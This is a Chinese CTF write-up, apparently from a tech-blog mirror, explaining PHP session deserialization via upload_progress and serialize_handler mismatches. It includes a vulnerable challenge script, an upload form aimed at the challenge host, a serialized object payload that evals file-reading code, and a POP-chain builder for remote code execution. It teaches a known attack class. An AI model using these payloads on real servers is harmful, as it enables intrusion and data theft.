42 session反序列化漏洞

参考资料:3. php反序列化从入门到放弃(入门篇) - bmjoker - 博客园

session文件上传漏洞利用原理

当在php.ini中设置session.upload_progress.enabled = On的时候,PHP将能够跟踪上传单个文件的上传进度。当上传正在进行时,以及在将与session.upload_progress.name INI设置相同的名称的变量设置为POST时,上传进度将在$ _SESSION超全局中可用。

在利用漏洞之前,在 php.ini 中需配置以下参数:

; 启用上传进度跟踪
session.upload_progress.enabled = On

; 指定表单中用于标识上传进度的字段名(必须存在于上传表单中)
session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS"

; 会话中进度数据的前缀(默认:upload_progress_)
session.upload_progress.prefix = "upload_progress_"

; 上传完成后自动清理进度数据(默认:On)
session.upload_progress.cleanup = On

在文件上传表单中,必须包含一个隐藏字段,其 name 属性与 session.upload_progress.name 配置一致

<form action="upload.php" method="POST" enctype="multipart/form-data">
  <input type="hidden" 
         name="<?php echo ini_get('session.upload_progress.name'); ?>" 
         value="unique_upload_id">
  <input type="file" name="file">
  <input type="submit" value="Upload">
</form>

在上传处理脚本(如 upload.php)中,注意必须先启动会话:

session_start(); 

例题1

http://web.jarvisoj.com:32784/

<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
    public $mdzz;
    function __construct()
    {
        $this->mdzz = 'phpinfo();';
    }
    
    function __destruct()
    {
        eval($this->mdzz);
    }
}
if(isset($_GET['phpinfo']))
{
    $m = new OowoO();
}
else
{
    highlight_string(file_get_contents('index.php'));
}
?>
  • session.serialize_handler:用于指定处理会话数据序列化和反序列化的处理器。会话数据在存储(比如存储到文件、数据库等)前需要进行序列化,读取时再进行反序列化 。
  • session.upload_progress.enables设置为on,可以post文件并应用到session中 

源代码中设置的是php解释器,但是本地默认却是php_serialize解释器,解释方式不同引发漏洞 

 session_start()函数启动后,会按照ini_set()中设置的php格式去翻sess_xxxx文件

如果session_xxxx文件中有内容,如果文件内容与该代码中要求的php格式相同,则进行反序列化,如果不相同,则清空session_xxxx文件内容 

但是我们上传文件到sess_xxxx目录的时候,是用php_serialize解释的,因此没有把上传的 | 去掉

本地html post提交序列化的东西

<form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data">
    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
    <input type="file" name="file" / >
    <input type="submit" />
</form>

这里的value是识别会话的唯一标志符

文件上传时,PHP 将 PHP_SESSION_UPLOAD_PROGRESS 的值写入 $_SESSION,键名为 upload_progress_ + 唯一标识符。

先post提交名字为PHP_SESSION_UPLOAD_PROGRESS的数据,里面的值修改为序列化数据并在前面加上 xxx| ,写入的时候是按照php的格式,即 | 前面的是键名,后面的是真正的内容

xxx|O:5:"OowoO":1:{s:4:"mdzz";s:88:"print_r(file_get_contents("/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php"));";} 

当页面加载时(如访问 index.php),PHP 自动加载会话数据并反序列化。反序列化的时候是按php_serialize读取数据的,此时恶意构造的数据就会成为一个具体的0owo0类 

构造序列化payload来读取flag:

  • __FILE__返回当前正在执行的脚本的完整文件名,包含路径信息
  • dirname()用于返回文件的目录部分,此时参数为__FILE__就是返回当前脚本所在的目录
  • scandir()就是扫描目录,并返回一个包含这些文件和目录名称的数组,在这里,它扫描的是当前脚本所在的目录。 
<?php
class OowoO
{
    public $mdzz='print_r(scandir(dirname(__FILE__)));';
}
$m = new OowoO();
echo serialize($m);
?>

先看看该运行着的文件同级目录中有没有其他文件 

发现可疑文件,利用file_get_contents()读取,但是这个函数读取需要完整的根路径,我们知道了__FILE__的路径就知道了该文件的路径 

修改$mdzz为'print_r(dirname(__FILE__));'

返回根目录的路径

所以 Here_1s_7he_fl4g_buT_You_Cannot_see.php 文件路径名就是/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php

修改$mdzz为print_r(file_get_contents("/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php"));

 得到flag

方法二:也可以在filename中注入序列化内容

php在将sess_xxxx文件反序列化应用在全局变量$_SESSION中的时候用的是php格式,也就是本地默认的那个

因为写进去的sess_xxxx文件也是序列化的格式 ,只要 | 在,就能将后面的内容反序列化成一个具体的对象,然后根据 }; 来结束

 但是在filename中注入序列化和在contents中写入不同的是,文件名读取有 " " 限制,需要 \" 进行转义,否则只读到第一个 " 就停了

例题2

php.ini配置:

session.auto_start = Off
session.serialize_handler = php_serialize
session.upload_progress.cleanup = Off

这里有个 session.upload_progress.cleanup 如果值为 On,会导致文件上传后,Session文件内容立即清空,这个时候就需要利用时间竞争,在Session文件内容清空前进行包含利用。

当该值为off的时候: 

class.php

<?php
highlight_string(file_get_contents(basename($_SERVER['PHP_SELF'])));            
//show_source(__FILE__);    
class foo1{
    public $varr;
    function __construct(){
        $this->varr = "index.php";
    }
    function __destruct(){
        if(file_exists($this->varr)){
            echo "<br>文件".$this->varr."存在<br>";
        }
        echo "<br>这是foo1的析构函数<br>";
    }
}
    
class foo2{
    public $varr;
    public $obj;
    function __construct(){
        $this->varr = '1234567890';
        $this->obj = null;
    }
    function __toString(){                    //    类被当作字符串时被调用
        $this->obj->execute();
        return $this->varr;
    }
    function __desctuct(){
        echo "<br>这是foo2的析构函数<br>";
    }
}
    
class foo3{
    public $varr;
    function execute(){
        eval($this->varr);
    }
    function __desctuct(){
        echo "<br>这是foo3的析构函数<br>";
    }
}
    
?>

 index.php

<?php
ini_set('session.serialize_handler', 'php');
require("./class.php");
session_start();
$obj = new foo1();
$obj->varr = "phpinfo.php";
?>

反序列化pop很好找

<?php
class foo1{
    public $varr;
}

class foo2{
    public $varr;
    public $obj;
    function __toString(){                  
        $this->obj->execute();
        return $this->varr;
    }
}

class foo3{
    public $varr;
    function execute(){
        eval($this->varr);
    }
}
$a=new foo1;
$b=new foo2;
$c=new foo3;
$c->varr=system('ls /');
$a->varr=$b;
$b->obj=$c;
?>

在ini设置中为php_serialize(存储session),在php文件中设置为php(读取session),此时

如果设置session.upload_progress.cleanup = On,文件上传以后,session文件会立即被清空,此时需要利用时间竞争来反序列化进行rce

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/980253.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

leetcode第77题组合

原题出于leetcode第77题https://leetcode.cn/problems/combinations/ 1.树型结构 2.回溯三部曲 递归函数的参数和返回值 确定终止条件 单层递归逻辑 3.代码 二维数组result 一维数组path void backtracking(n,k,startindex){if(path.sizek){result.append(path);return ;}…

基于html的俄罗斯方块小游戏(附程序)

一、前言 俄罗斯方块&#xff08;Tetris&#xff09;是一款经典的益智游戏&#xff0c;由苏联程序员阿列克谢帕基特诺夫&#xff08;Alexey Pajitnov&#xff09;于1984年开发。这款游戏最初是为减少计算机的恐怖效果而设计的&#xff0c;后来通过盗版传播到全球&#xff0c;成…

openwebUI访问vllm加载deepseek微调过的本地大模型

文章目录 前言一、openwebui安装二、配置openwebui环境三、安装vllm四、启动vllm五、启动openwebui 前言 首先安装vllm&#xff0c;然后加载本地模型&#xff0c;会起一个端口好。 在安装openwebui,去访问这个端口号。下面具体步骤的演示。 一、openwebui安装 rootautodl-co…

机器学习:线性回归,梯度下降,多元线性回归

线性回归模型 (Linear Regression Model) 梯度下降算法 (Gradient Descent Algorithm) 的数学公式 多元线性回归&#xff08;Multiple Linear Regression&#xff09;

加入二极管的NE555 PWM 电路

只用电阻、电容构成的一般定时电路的占空比无法低于50%&#xff0c;如下图&#xff1a; 电容的充电路径上串联了R1 和R2&#xff0c;而放电路径上只有R2&#xff0c;所以放电的时间不可能比充电长。加入二极管就能解决这个问题&#xff0c;用二极管把充电和放电路径分离开&…

游戏引擎学习第131天

仓库:https://gitee.com/mrxiao_com/2d_game_3 运行游戏并识别我们的小问题 今天的工作重点是对游戏引擎进行架构优化&#xff0c;特别是针对渲染和多线程的部分。目前&#xff0c;我们的目标是让地面块在独立线程上进行渲染&#xff0c;以提高性能。在此过程中&#xff0c;我…

并发编程1

JAVA线程回顾 多线程 多个并行的线程来完成个自的任务&#xff0c;优点是程序响应速度更快&#xff0c;程序性能得到提升。 并行执行与并发执行 并发执行就是在单核CPU下&#xff0c;现成实际上是串行执行的&#xff0c;任务调度器将cpu的时间片分给不同的线程使用&#xff0…

AI: Cursor是否已奠定AI开发环境的龙头地位?

近年来&#xff0c;人工智能&#xff08;AI&#xff09;在软件开发领域的应用迅速升温&#xff0c;而Cursor作为一款AI驱动的代码编辑器&#xff0c;凭借其创新功能和市场表现&#xff0c;引发了广泛讨论。许多人认为&#xff0c;Cursor已经奠定了AI开发环境的龙头地位。然而&a…

贪心算法+题目

贪心算法 跳跃游戏跳跃游戏2 跳跃游戏 题目 拿到题目就暴力穷举&#xff0c;我用的是dfs&#xff0c;加上备忘录之后还是超出时间限制。就考虑一下贪心算法。你想 我在[0,n-2]位置遍历求出可以跳跃的最远距离&#xff0c;用farthest更新最大值&#xff0c;如果>终点就返回t…

02 2个交换机+vlan构造两个逻辑上的子网

前言 这是最近一个朋友的 ensp 相关的问题, 这里来大致了解一下 ensp, 计算机网络拓扑 相关基础知识 这里一系列文章, 主要是参照了这位博主的 ensp 专栏 这里 我只是做了一个记录, 自己实际操作了一遍, 增强了一些 自己的理解 当然 这里仅仅是一个 简单的示例, 实际场景…

【前端基础】Day 7 CSS高级技巧

目录 1. 精灵图 1.1 为什么需要精灵图 1.2 精灵图&#xff08;sprites&#xff09;的使用 2. 字体图标 2.1 字体图标的产生 2.2 字体图标的优点 2.3 字体图标的下载 2.4 字体图标的引入 2.5 字体图标的追加 3. CSS三角形 4. CSS用户界面样式 4.1 更改用户鼠标样式 …

React低代码项目:问卷编辑器 II

吐司问卷&#xff1a;问卷编辑器 II Date: February 26, 2025 Log **软件设计的可拓展性&#xff1a;**对修改封闭&#xff0c;对拓展开放 工具栏 删除组件 需求&#xff1a; 要点&#xff1a; 实现删除选中组件 思路&#xff1a;重新计算 selectedId&#xff0c;优先选择…

图像处理之图像边缘检测算法

目录 1 图像边缘检测算法简介 2 Sobel边缘检测 3 经典的Canny边缘检测算法 4 演示Demo 4.1 开发环境 4.2 功能介绍 4.3 下载地址 参考 1 图像边缘检测算法简介 图像边缘检测是计算机视觉和图像处理中的基本问题&#xff0c;主要目的是提取图像中明暗变化明显的边缘细节…

数据结构(初阶)(八)----排序

排序 概念 排序&#xff1a;所谓排序&#xff0c;就是使⼀串记录&#xff0c;按照其中的某个或某些关键字的⼤⼩&#xff0c;递增或递减的排列起来的 操作。 比较排序 插入排序 直接插入排序 直接插⼊排序是⼀种简单的插⼊排序法&#xff0c;其基本思想是&#xff1a;把待…

计算机毕业设计SpringBoot+Vue.js基于JAVA语言的在线考试与学习交流网页平台(源码+文档+PPT+讲解)

温馨提示&#xff1a;文末有 CSDN 平台官方提供的学长联系方式的名片&#xff01; 温馨提示&#xff1a;文末有 CSDN 平台官方提供的学长联系方式的名片&#xff01; 温馨提示&#xff1a;文末有 CSDN 平台官方提供的学长联系方式的名片&#xff01; 作者简介&#xff1a;Java领…

聊一聊 IM 如何优化数据库

IM 系列 im doc 实时通讯文档仓库 聊一聊 IM 是什么&#xff1f; IM 即时通讯系统概览 聊一聊 IM 要如何设计&#xff1f; 聊一聊 IM 要如何设计功能模块&#xff1f; 聊一聊 IM 要如何进行架构设计&#xff1f; 聊一聊 IM 要如何进行技术选型&#xff1f; 聊一聊 IM 要…

人工智能AI在汽车设计领域的应用探索

我是穿拖鞋的汉子&#xff0c;魔都中坚持长期主义的汽车电子工程师。 老规矩&#xff0c;分享一段喜欢的文字&#xff0c;避免自己成为高知识低文化的工程师&#xff1a; 简单&#xff0c;单纯&#xff0c;喜欢独处&#xff0c;独来独往&#xff0c;不易合同频过着接地气的生活…

DeepSeek-R1 大模型实战:腾讯云 HAI 平台 3 分钟极速部署指南

引言&#xff1a;为什么选择 DeepSeek-R1&#xff1f; 近期&#xff0c;国产大模型 DeepSeek-R1 因其低成本、高性能的特点在全球 AI 领域引发热议。根据 Sensor Tower 数据&#xff0c;其发布仅 18 天便斩获 1600 万次下载量&#xff0c;远超 ChatGPT 同期表现。而腾讯云推出…

[SWPUCTF 2022 新生赛]1z_unserialize

题目描述&#xff1a;是很简单的反序列化噢 代码审计看注释 <?phpclass lyh{ //定义一个类为lyhpublic $url NSSCTF.com;//公共属性&#xff0c;初始值为NSSCTF.compublic $lt; //公共属性&#xff0c;没有初始值public $lly; //公共属性&…

三支一扶入职体检不合格项目全解析

“三支一扶” 计划为高校毕业生提供了到基层服务的宝贵机会&#xff0c;通过层层选拔后&#xff0c;入职体检也是其中关键的一环。了解哪些项目可能导致体检不合格&#xff0c;能让大家提前做好准备&#xff0c;避免在这一步出现意外。接下来&#xff0c;就为大家详细介绍三支一…